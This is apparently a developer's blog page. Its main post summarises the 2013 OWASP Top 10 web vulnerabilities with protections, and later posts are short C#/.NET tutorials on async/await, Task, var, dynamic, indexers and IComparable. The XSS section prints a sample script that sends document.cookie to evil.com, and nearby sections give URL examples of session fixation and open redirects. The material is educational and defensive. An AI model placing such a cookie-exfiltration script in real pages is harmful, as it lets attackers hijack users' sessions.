Sunday, February 21, 2016

Web Application Security

Top 10 web security vulnerabilities by OWASP(Open Web Application Security Projects) last released in 2013 in my words



A1 - Injection
Threat Agents: Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
Exploitability: (Easy) Injection some time lead complete host takover
Reason:
Dynamic inline queries
Some time failed queries with errors got displayed on users screen.  hacker prepare work around by using that

Protection:
Use safe APIs (Application program interface)
Use parameterized APIs
Restrict untrusted data using
-encoding
-White list of characters
-Use strong server side validation

A2 - Broken Authentication and Session Management
Threat Agents: Consider anonymous external attackers, as well as users with their own accounts, who may attempt to steal accounts from others. Also consider insiders wanting to disguise their actions.
Exploitability: (Average) Attacker uses leaks or flaws in the authentication or session management functions (e.g., exposed accounts, passwords, session IDs) to impersonate users.
Reasons:
Storing user credentials without hashing or encrypting them: User / password can be traced using tools like fiddler
Easily guessed passwords: Easy passwords can be guessed
Poorly secured password change features: Password could be steal, How much we can trust on email, Sending password to email not right way
Poorly secured password recovery features: Easy security questions not enough, like DOB, mothers maiden name
Session IDs exposed in a URL: If your application exposes session id in url, easily hacker fixate session. A hacker will mail you similar link to your site with a id www.xyz.com?SID=jvsnfhi8e94. when you click the link and login, hacker will use same link and browse inside system.
Session IDs don’t reasonably time-out or sessions aren’t properly invalidated during logout: If a user leave or just close the browser on a public machine (cafe)
Same links can be opened by others(from history) and he can do anything with previous logged in user's account
Session IDs aren’t rotated after a successful login:
Passwords, session IDs, and other credentials are sent over unencrypted connections: Tools like fiddler can trace & show Passwords, session IDs, and other credentials
Browser caching is enabled: A hacker can use cached credentials
Protection:
Storing user credentials without hashing or encrypting them: Use hashing/encryption with salt
Easily guessed passwords: Enforce password policy like one capital letter, one small letter, one number, one character 8-16 length
Poorly secured password change features: Don't send old password to user, send one time link to change password
Poorly secured password recovery features: use security question/otp while changing password
Session IDs exposed in a URL: Session id must be generated from server only, don't expose session id in url, use cookies
Session IDs don’t reasonably time-out or sessions aren’t properly invalidated during logout: Destroy & regenerate session after a fix period of time. Destroy session on logout.
Session IDs aren’t rotated after a successful login: Always generate new session id on login
Passwords, session IDs, and other credentials are sent over unencrypted connections: Use secure connection, encrypted / signed data transmission, use https
Browser caching is enabled: Disable caching on browser
Note: Even cookies can be hacked so most secure way is to create new session id on each request and send to client

A3 - XSS Cross Site Scripting
Threat Agents: Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
Exploitability: (Average) Any source of data can be an attack vector, external user input or internal database data(infected data)
Protection:
Use encoding or sanitization before execution data on browser even from database
The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL)
Use white list of characters
Use CSP (Content Security Policy) : Defined by W3C, that defines loading behaviour of various resources in HTTP Response header
Set correct content type
Set safe character set (UTF-8)
Set correct locale
Output encode all user data as per output context
Set input constraints
www.xyz.com?Fname='megha'
Place the script in place of name 'megha'
<script>
   window.location=“http://evil.com/?cookie=” + document.cookie
</script>
When this Fname will be executed on browser this will redirect to evil.com server and with cookie information of vulnerable site, now hacker can also use session
and other info from cookie

A4 - Unsecure Direct Object References 
Threat Agents: Consider anyone who can access system object(s), including external users & internal users.
Exploitability: (Easy)
This type of attack is possible when a file name, resource name, any id, database key is exposed in url. A hacker can manipulate the id to access other objects
for those he is not authorized.
Detection:
Testing - Testers can easily manipulate ids and check vulnerability
Code review

A 2010 security breach that leaked the email addresses of over 114,000 Apple users including politicians and CEOs was the result of an unsecure direct object reference in system of AT&T.

Protection:
Encrypt urls
Authorize internal/external user(s) before giving access on any object
OWASP's ESAPI library includes reference maps for developers to ease the implementation

A5 - Security Misconfiguration
Threat Agents: Anyone who can access application network, regular users.
New generation application has increased surface area like web, app, DB servers, SAN storage, firewalls so chances of security whole also increased.
Its good that new generation applications comes with all security implementation but it require configuration of inbuilt security features.
Exploitability: (Easy)
This kind of flaws refers to production ready applications. It refers insufficient or non configured inbuilt security features and left security wholes like
unused files, pages, default accounts, firewall configuration, services configuration.
Sometime we missed to secure unused pages because they are unused, a hacker can enter from this whole like url encryption not implemented for unused page(s).
Sometime we missed to close or changing password for default account, a hacker can enter from this whole
Protection:
Read security documentation and configure inbuilt security features of application like (Configure DOS prevention attack in IIS)
Change password for default account
Disable unused unnecessary features
Prevent displaying stack traces to user
Run tools (like automated scanner) and perform regular audits to identify holes in the security configuration

A6 - Sensitive Data Exposure 
Threat Agents: Consider anyone who can access the system, including external users, internal users.
Data that have strong effects if stolen on image of your organisation and application is sensitive like Credit card information, user credential, Tax id etc.
Exploitability: (Difficult) This is difficult to hack but hackers are highly motivated to it because of its potential payouts. This could lead serious crime like bank account hacking.
Protection: Encryption with salt is the way of protection
Sensitive data should be salted & encrypted when on users browser
Sensitive data should be salted & encrypted when during transportation
Sensitive data should be salted & encrypted when even in database
Disable caching for pages dealing with sensitive data
Use TSL/SSL for secure transportation
Prevent XSS

A7 - Missing Function Level Access Control
Threat Agents: Consider anyone who can access the system, including external users, internal users.
Exploitability: (Easy) An user can access resource(s) on those he is not having access
Mukesh access his private diary using link www.mydiary.com?uname=mukesh, now mukesh can manipulate link and access megha's personnel diary
like www.mydiary.com?uname=megha
Protection:
Make structure like give any resource(resources/functions/pages) access to user who required only not to others
Make access denied to all resources(resources/functions/pages), then make white list of authorized system users with mapped to resources, now on every request to any resource check with list whether requester have or not access on requested resource.
Implement role based Authorization
Implement server side Authorization

A8 - Cross Site Request Forgery (CSRF)
A malicious site sends request to vulnerable site to access a page or perform some action where user is logged in.
Threat Agent: Any one who can load data into your user's browser
Exploitability: (Average) Attacker creates forged HTTP requests and tricks a victim into submitting them via image tags, XSS, or numerous other techniques. If the user is authenticated, the attack succeeds
Protection:
Send token with every request and validate token before serving the request at server side.
ASP.net apps :
Prevent XSS
Asp.net web forms:
ViewStateUserKey = Session.SessionID then viewstate will act as a form token
Protect SessionID using Hashing and Encryption
Use SSL to prevent sniffing of SessionID and ViewState
Either create a BasePage and add the following code in that and check ViewState for forms and inherit all the pages from this base page.
protected override OnInit(EventArgs e) {
     base.OnInit(e);
     if (User.Identity.IsAuthenticated)
        ViewStateUserKey = Session.SessionID; }
MVC:
Use AntiForgeryTokens
Use SSL to prevent sniffing of AntiForgeryTokens
Mark action with attributes [HttpPost] & [ValidateAntiForgeryToken()]
Send '_ReuestVerificationToken' with ajax calls
@using (Html.BeginForm())
                {
                    @Html.AntiForgeryToken();
                     <fieldset>
                      Select a file <input type="file" name="file" />
                     <input type="submit" value="Upload" />
                      </fieldset>
                }


A9 - Using Components with Known Vulnerabilities
Threat Agent: Third party components
In today's world every one is using third party component (including open source libraries) in their projects. No doubt using external components add values in terms of time and efforts. But external components may open door for security breach.
Exploitability: (Average) Attacker identifies a weak component through scanning or manual analysis and customize the attack.
Reasons:
Using external components having vulnerabilities
Using open source components
Open source components are managed by volunteers not companies
Many of the open source components have 20 year old code
Most of the providers are quick to inform users but lack of awareness in users leads the issues
Due lack to awareness users not accept released updates and fixes
Protection: 
Take time to analyse component that you are considering by reading provided document, read forums, read feedback of the product
Be aware about updates from providers
Accept updates and fixes sent by provider
Sand boxing is the solution for unknown vulnerabilities in an external component:
Make your won wrapper library
Mark your library 'SecurityTransparent' so this will not be able to access 'SecurityCritical' code
Call external component in your library
Assign only required access to your library
Run the library in your own app domain with limited required permissions

A10 -  Unvalidated Redirects and Forwards
Threat Agent: Application users, other websites & HTML feeds
Exploitability: (Average) Unvalidated Redirects and Forwards can lead to steal access to unauthorized resources, credentials etc.
A hacker can use Redirect or forwards implemented in your application to redirect logged in user to his(ex. www.ghost.com) site.
User can believe and can enter credentials because url also shows actual(user's site) site name
Ex. www.xyz.com?redirect=mysite.com
A hacker can manipulate it to steal data or , cookie or credentials www.xyz.com?redirect=ghost.com
Protection:
Don't use Redirects and forwards
If can't avoid do not determine destination by a user input
If can't avoid validate input and authorize for logged in user
Avoid external redirects or forwards
Use white list of destinations (pages)
Verify referrer links from white list
Disable unused redirects

Saturday, November 14, 2015

Non Blocking Programming (Async, Await & Task)

⚙️ What is async / await in .NET?

In simple terms:

async and await enable asynchronous, non-blocking programming in .NET.

They allow your app to perform long-running tasks (like database calls, file I/O, or API calls) without freezing the main thread.



๐Ÿงฉ Why Do We Need It?

Imagine a web API endpoint that calls a database and waits for the response.
If this were synchronous, that thread would just sit idle waiting — wasting server resources.

But with async/await, the thread is released back to the thread pool while waiting.
That means:

  • Better scalability — more requests can be handled.

  • No UI freeze (in desktop apps).

  • Efficient use of system threads.


๐Ÿง  Key Concepts

ConceptDescription
async keywordMarks a method as asynchronous — allows use of await inside it.
await keywordSuspends the method until the awaited task completes, without blocking the thread.
TaskRepresents an ongoing operation (future result).
Task<T>Represents an async operation that returns a result.
void async methodsOnly used for event handlers — otherwise avoid.

๐Ÿ’ก Example

๐Ÿ”น Synchronous method (blocking)

public string GetData() { var data = File.ReadAllText("data.txt"); // blocks until done return data; }

๐Ÿ”น Asynchronous method (non-blocking)

public async Task<string> GetDataAsync() { var data = await File.ReadAllTextAsync("data.txt"); // non-blocking return data; }

✅ While waiting for File.ReadAllTextAsync() to finish,
the current thread is released to handle other work.


๐Ÿงฉ Example in ASP.NET Core Controller

[HttpGet("user/{id}")] public async Task<IActionResult> GetUser(int id) { var user = await _userRepository.GetUserByIdAsync(id); return Ok(user); }

Here:

  • The thread executing this request can return to the thread pool while waiting on the DB.

  • Once the task completes, .NET resumes the method and sends the response.

This allows ASP.NET Core to handle many concurrent requests efficiently.


๐Ÿ”„ Async Flow Diagram

Request → Controller → await Repository call → Thread released ↓ DB operation completes ↓ Continuation resumes → Response sent

๐Ÿง  Behind the Scenes

When the compiler sees async and await, it:

  • Transforms the method into a state machine.

  • Handles continuations automatically (what happens after the task completes).

  • Avoids the need for callbacks or manual threading.


⚙️ Best Practices

✅ Use async all the way down (from controller → repository → I/O).
✅ Return Task or Task<T> (not void).
✅ Use ConfigureAwait(false) in library code (not needed in ASP.NET Core usually).
✅ Avoid blocking calls like .Result or .Wait() — they can cause deadlocks.
✅ Combine async calls efficiently using Task.WhenAll().


๐Ÿงพ Summary Table

AspectSynchronousAsynchronous
ThreadBlocked until work completesFreed while waiting
PerformanceScales poorly under loadScales efficiently
KeywordNoneasync / await
Return typeTTask<T>
Use caseQuick operationsI/O-bound operations

⚙️ Real-world Example in AWS/.NET

If your ASP.NET Core Web API calls:

  • AWS DynamoDB

  • S3 file upload

  • SNS message publish

All those SDKs have async methods (e.g., PutItemAsync, UploadAsync, PublishAsync).
Using await makes them non-blocking, improving throughput.

-----------------------------------------------------------------------------------------------------------------------------

๐Ÿงฉ Difference between Task and Task<T>

FeatureTaskTask<T>
Return TypeRepresents an asynchronous operation that does not return a value.Represents an asynchronous operation that returns a result of type T.
Equivalent to (sync)Like void in synchronous methods.Like returning a value of type T in synchronous methods.
UsageWhen the method performs work but doesn’t need to return a value.When the method performs work and returns a value asynchronously.
Example Method Signaturepublic async Task DoWorkAsync()public async Task<int> GetCountAsync()
How to Awaitawait DoWorkAsync();int count = await GetCountAsync();
When to UseFire-and-forget tasks (but still awaitable) like logging, sending email, etc.Database calls, HTTP requests, file reads, calculations, etc.
Completion HandlingOnly completion (success/failure)Completion plus a result value

๐Ÿ”น Example 1 — Task (no return value)

public async Task SendEmailAsync(string to) { await emailService.SendAsync(to, "Welcome!", "Thanks for joining us!"); }

Usage:

await SendEmailAsync("user@example.com");

✅ You’re waiting for completion — but there’s no result to retrieve.


๐Ÿ”น Example 2 — Task<T> (returns a value)

public async Task<int> GetUserCountAsync() { return await _dbContext.Users.CountAsync(); }

Usage:

int count = await GetUserCountAsync();

✅ You’re waiting for the task to complete and getting back a result (int).

Friday, November 13, 2015

Mark a method Deprecated (Obsolete)

Using Obsolete attribute a method can be marked as Deprecated.

Three overloaded methods for Obsolete 
1. Mark a method Deprecated
2. Mark a method Deprecated with showing message (suggest new method to use)


2. Mark a method Deprecated with making it error on compilation


Thursday, November 12, 2015

var Keyword

Defining a variable as var enables to assign any data type value. var is implicit data type declaration.
var str = "hello";

var num = 10;

var is statically defined: Compiler checks assigned value to var and create data type accordingly at the declaration (compile time)
var num = 10; //compiler creates num as int at this declaration
var str = "hello"//compiler creates str as string at this declaration

var is strongly typed: At declaration compiler create appropriate data type by checking assigned value so from next statement of declaration variable behaves like strongly typed variable
str++ //error because its now string
num++ //allowed because its now int
intellisense showing all prop/methods of string for 'str'


object dynamic can also be used but these both resolved at run time. They are dynamically defined and not strongly typed.

Dynamic Keyword

dynamic is a type introduced in C# 2010, making a variable as dynamic type, skip compile time checking for that variable, it allows any operation / call to write at compile time.
If written code not get validated at run-time then at run time it throw error.
dynamic keyword is an example of Late Binding
Early Binding : Compile time checking


Late Binding : Run time checking not compile time

dynamic converts early binding to late binding

Source Code: 
Below code compiled successfully
    class Program
    {
        static void Main(string[] args)
        {
            //Example1 allowing mathematical operation on string at compile time
            dynamic str = "hello";
            str++;

            //Example2 allowing Update() method call that does not exist, at compile time
            dynamic objStudent = new student();
            objStudent.Update();
        }
    }
    class student
    {
        public int RollNo { get; set; }
        public string Name { get; set; }
        public void Add()
        {
        }
    }


Errors at run-time
Error 1

Error 2


Indexer

An Indexer is a public property of a class that is used to fetch values from a collection contained by class in an efficient & easy way.
Indexer makes a class as a virtual array.
  1. this keyword is used to create indexer
  2. Indexer can be overloaded
  3. More then one parameters can be used for indexing

Source Code:
public class Student
{
    public int RollNo { get; set; }
    public string Name { get; set; }
    public string Class { get; set; }
}
class Program
{
    static void Main(string[] args)
    {
        school objSchool = new school();
        
        //Class object used as an array using Indexer
        Student obj1 = objSchool[2];    //Indexer1  
        Student obj2 = objSchool["Ravi"]; //Indexer2
        
        Console.WriteLine("Student Roll No:{0}, Name:{1}",obj1.RollNo, obj1.Name);
        Console.WriteLine("Student Roll No:{0}, Name:{1}", obj2.RollNo, obj2.Name);
        Console.ReadLine();
    }

    class school
    {
        private List<Student> lstStudent = new List<Student>();
        public school()
        {
            lstStudent.Add(new Student { RollNo = 1, Name = "Ram", Class = "5th" });
            lstStudent.Add(new Student { RollNo = 2, Name = "Shiv", Class = "6th" });
            lstStudent.Add(new Student { RollNo = 3, Name = "Ravi", Class = "5th" });
        }
      
        public Student this[int rollNo]  //Indexer
        {
            get
            {
                return lstStudent.Find(new Predicate<Student>(x => x.RollNo == rollNo));
            }
            set
            {
              //lstStudent.Find(new Predicate<Student>(x => x.RollNo == rollNo)).RollNo = rollNo; //Set can be used but here it does not have meaning
            }
        }
        public Student this[string name] //overloading of indexer
        {
            get
            {
                return lstStudent.Find(new Predicate<Student>(x => x.Name == name));
            }
            set
            {
             //lstStudent.Find(new Predicate<Student>(x => x.Name == name)).Name = name;
            }
        }
    }
}

Tuesday, November 10, 2015

IComparable & IComparer Interfaces

IComparable & IComparer Interfaces are used to provide comparison mechanism to collection of objects that comparison scheme is used by the collection for sorting functions.

IComparable: It defines a way of comparison for two similar class objects. A collection of objects internally uses this defined way to sort objects.
Using IComparable we can define only one way of comparison for a collection of objects.
This is internal comparer
We defines CompareTo method of IComparable  that returns int
            public int CompareTo(object obj)
            {
                return this.Age.CompareTo(((Person)obj).Age);
            }

IComparer: It defines multiple ways of comparison for two similar class objects.
Using IComparer we can define multiple ways of comparison for a collection of objects.
This comparison take place externally
We defines Compare method of IComparer that returns int
            public int Compare(Student x, Student y)
            {
                return string.Compare(x.Name, y.Name);
            }


Source Code:
        #region IComparable
        public class Person : IComparable
        {
            public string Name { get; set; }
            public int Age { get; set; }

            public int CompareTo(object obj)
            {
                return this.Age.CompareTo(((Person)obj).Age);
            }
        }

        //Generic Icomparable example
        public class Employee : IComparable<Employee>
        {
            public string Name { get; set; }
            public int Salary { get; set; }
           
            public int CompareTo(Employee other)
            {
                return this.Salary.CompareTo(other.Salary);
            }
        }
        #endregion

        #region IComparer
        public class Student
        {
            public string Name { get; set; }
            public double Percentile { get; set; }
        }

        public class SortByName : IComparer<Student>
        {
            public int Compare(Student x, Student y)
            {
                return string.Compare(x.Name, y.Name);
            }
        }
        public class SortByPercentile : IComparer<Student>
        {
            public int Compare(Student x, Student y)
            {
                if (x.Percentile == y.Percentile)
                    return 0;
                else if (x.Percentile > y.Percentile)
                    return 1;
                else
                    return -1;
            }
        }

        #endregion

Client Code:
        static void Main(string[] args)
        {
            #region IComparable
            Person me = new Person { Name = "Anand", Age = 32 };
            Person MyFather = new Person { Name = "PSTomar", Age = 65 };
            Person MyGrandFather = new Person { Name = "DSTomar", Age = 85 };

            List<Person> lstPerson = new List<Person>();

            lstPerson.Add(MyFather);
            lstPerson.Add(me);
            lstPerson.Add(MyGrandFather);

            lstPerson.Sort();
            Console.WriteLine("Result of IComparable example :");
            foreach (Person p in lstPerson)
                Console.WriteLine("Name : {0}, Age : {1} ", p.Name, p.Age);
            Console.ReadLine();
            #endregion

            #region IComparer
            Student Megha = new Student { Name = "Megha", Percentile = 32.55 };
            Student Renuka = new Student { Name = "Renuka", Percentile = 65.12 };
            Student Ghanshyam = new Student { Name = "Ghanshyam", Percentile = 80.11 };

            List<Student> lstStudent = new List<Student>();

            lstStudent.Add(Megha);
            lstStudent.Add(Renuka);
            lstStudent.Add(Ghanshyam);

            lstStudent.Sort(new SortByName());
            Console.WriteLine("Result of IComparer example :");
            foreach (Student p in lstStudent)
                Console.WriteLine("Name : {0}, Percentile : {1} ", p.Name, p.Percentile);
            Console.ReadLine();
           
            lstStudent.Sort(new SortByPercentile());
            foreach (Student p in lstStudent)
                Console.WriteLine("Name : {0}, Percentile : {1} ", p.Name, p.Percentile);
            Console.ReadLine();
            #endregion
        }

CI/CD - Safe DB Changes/Migrations

Safe DB Migrations means updating your database schema without breaking the running application and without downtime . In real systems (A...